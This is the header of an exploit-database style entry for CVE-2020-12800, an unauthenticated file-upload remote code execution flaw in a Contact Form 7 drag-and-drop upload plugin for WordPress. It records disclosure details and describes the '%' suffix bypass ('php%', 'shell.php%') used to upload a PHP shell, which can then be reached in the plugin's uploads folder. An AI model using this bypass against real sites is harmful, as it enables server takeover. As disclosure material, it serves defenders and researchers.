# Exploit Title: WordPress Plugin "Drag and Drop Multiple File Upload - Contact Form 7" - Unauthenticated Remote Code Execution
# Date: Disclosed to vendor: 5/11/2020
# Exploit Author: Austin Martin,, @amartinsec
# Vendor Homepage:
# Software Link:
# Version:
# Tested on: WordPress 5.4.1, PHP 7.41
# CVE : 2020-12800

# Notes:
# At time of disclosure, the WordPress page listed this plugin being used by +10,000 applications
# Application was patched by vendor within 24 hours of initial disclosure
# This exploit works bypassing the allowed file types and file type sanitization. If lucky, a PHP file with a reverse shell can be uploaded and accessed

# Any file types can be added to the "supported_type"  parameter
# These uploaded files can be accessed at wp-content/uploads/wp_dndcf7_uploads/
# Dangerous file types such as php have "_.txt" appended to the end creating a text file
# This can be bypassed by adding '%' to the end of the allowed file type, and the end of the file name
# ex. "php%" for file type and "shell.php%" for filename
# The PHP payload in the POC can be easily modified to gain a reverse shell
